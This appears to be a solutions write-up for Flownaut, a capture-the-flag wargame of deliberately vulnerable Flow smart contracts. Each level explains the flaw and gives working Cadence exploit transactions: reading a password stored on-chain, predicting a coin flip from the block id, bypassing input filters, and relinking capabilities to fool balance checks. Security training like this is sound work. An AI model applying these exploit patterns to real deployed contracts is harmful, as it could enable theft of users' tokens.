Hello Flownaut
Link: https://flownaut.ecdao.org/en/hello-flownaut
This is a tutorial level. Call the changeGreeting
method and change greeting
to You have been hacked!
to complete the level.
import HelloFlownaut from 0xe44d046a90d02758
transaction {
prepare(signer: AuthAccount) {}
execute {
HelloFlownaut.changeGreeting(newGreeting: "You have been hacked!")
}
}
Cockroach Remover
Link: https://flownaut.ecdao.org/en/cockroach-remover
Notice that the removeCockroach
function in the contract only filters out the first cockroach
, so you can input multiple cockroach
to complete the level.
import CockroachRemover from 0x0b32c492aeafab41
transaction {
prepare(signer: AuthAccount) {}
execute {
CockroachRemover.removeCockroach(insects: ["cockroach", "cockroach"])
}
}
Password
Link: https://flownaut.ecdao.org/en/password
You can directly read the password
from the contract.
import Password from 0x1d66a1a137aba120
transaction {
prepare(signer: AuthAccount) {}
execute {
Password.unlock(guess: Password.password)
}
}
Rock Paper Scissors
Link: https://flownaut.ecdao.org/en/rock-paper-scissors
Pay attention to the following:
In the loop
for action in actions
, onlymyAction
is reset toAction.rock
, whileyourAction
remains unchanged.If an action other than
rock
,paper
, orscissors
is passed torockPaperScissors
, neithermyAction
noryourAction
will change.
Based on this, we can conclude:
If we can make
yourAction
in the loopAction.paper
, we can increase our score.We can achieve this by inputting
paper
to changeyourAction
toAction.paper
.For the other two actions, we can input any string other than
rock
,paper
, orscissors
to keepyourAction
asAction.paper
and score two points in the game.
import RockPaperScissors from 0x13d98a741d6f8d93
transaction() {
prepare(signer: AuthAccount) {}
execute {
RockPaperScissors.rockPaperScissors(actions: ["paper", "hello", "world"])
}
}
Coinflip
Link:https://flownaut.ecdao.org/en/coinflip
In the same transaction, the value of getCurrentBlock().id
remains the same, so we can calculate the side
before executing the flip
function.
import Coinflip from 0x058def47846b87f2
transaction() {
prepare(signer: AuthAccount) {}
execute {
let currentBlockId: [UInt8; 32] = getCurrentBlock().id
var seed: UInt256 = 0
for byte in currentBlockId {
seed = seed + UInt256(byte)
}
let flip: UInt256 = seed % 2
let side: Bool = flip == 1 ? true : false
var counter = 0
while counter < 10 {
Coinflip.flip(guess: side)
counter = counter + 1
}
}
}
Password in Storage
Link: https://flownaut.ecdao.org/en/password-in-storage
Simply use a script to return the reference to the Password
resource to view the password
.
import Password from 0xe51a09854a46ef11
pub fun main(): &Password.MyPassword{Password.PasswordPublic} {
let password = Password.getPublicPasswordCap().borrow() ?? panic("borrow password failed")
return password
}
// {
// "Resource": {
// "Password.MyPassword": {
// "uuid": "172736572",
// "locked": true,
// "password": "XGBKDON"
// }
// }
// }
import Password from 0xe51a09854a46ef11
transaction {
prepare(signer: AuthAccount) {}
execute {
let password = Password.getPublicPasswordCap().borrow() ?? panic("borrow password failed")
password.unlock(guess: "XGBKDON")
}
}
Capability Palooza
Link: https://flownaut.ecdao.org/en/capability-palooza
If a link for the given capability path already exists, the link
function will return nil
. So, we just need to link the /public/capabilityPalooza
path to ExampleToken.VaultStoragePath
.
import ExampleToken from 0x1996febee87cc91c
import FungibleToken from 0x9a0766d93b6608b7
transaction {
prepare(signer: AuthAccount) {
signer.save(<- ExampleToken.mintTokens(amount: 120.0), to: ExampleToken.VaultStoragePath)
signer.unlink(/public/capabilityPalooza)
signer.link<&ExampleToken.Vault{FungibleToken.Balance}>(/public/capabilityPalooza, target: ExampleToken.VaultStoragePath)
}
execute {}
}
Token Balance
Link:https://flownaut.ecdao.org/en/token-balance
The verification script only fetches the balance of the ExampleToken.Vault
stored in ExampleToken.VaultStoragePath
, but in Flow, an account can store multiple vaults. Additionally, the balance returned by ExampleToken.getBalances()
depends on the balance of the last vault that had a deposit. Therefore, we can create two vaults and transfer most of the tokens from the vault in ExampleToken.VaultStoragePath
to the other vault to meet the completion condition.
import ExampleToken from 0x6e696a8848a7e0ce
import FungibleToken from 0x9a0766d93b6608b7
transaction {
prepare(signer: AuthAccount) {
signer.save(<- ExampleToken.createEmptyVault(), to: ExampleToken.VaultStoragePath)
signer.unlink(ExampleToken.VaultPublicPath)
let balanceCap = signer.link<&ExampleToken.Vault{FungibleToken.Balance}>(ExampleToken.VaultPublicPath, target: ExampleToken.VaultStoragePath)
let vaultRef = signer.borrow<&ExampleToken.Vault>(from: ExampleToken.VaultStoragePath) ?? panic("borrow vaultRef failed")
let vault <- ExampleToken.mintTokens(amount: 100.0)
vaultRef.deposit(from: <- vault)
signer.save(<- ExampleToken.createEmptyVault(), to: /storage/FlownautExampleToken3)
let vault2Ref = signer.borrow<&ExampleToken.Vault>(from: /storage/FlownautExampleToken3) ?? panic("borrow vault2Ref failed")
let vault2 <- vaultRef.withdraw(amount: 80.0)
vault2Ref.deposit(from: <- vault2)
}
execute {}
}
Token Gate
Link: https://flownaut.ecdao.org/en/token-gate
The verification script only requires that the resource stored at ExampleToken.VaultPublicPath
implements the {FungibleToken.Balance}
interface, and it does not require the resource to be an ExampleToken.Vault
. So, we can simply link /storage/flowTokenVault
to ExampleToken.VaultPublicPath
.
import ExampleToken from 0x6fbe8ff2edfe6e89
import FungibleToken from 0x9a0766d93b6608b7
transaction {
prepare(signer: AuthAccount) {
signer.unlink(ExampleToken.VaultPublicPath)
signer.link<&{FungibleToken.Balance}>(ExampleToken.VaultPublicPath, target: /storage/flowTokenVault)
}
execute {}
}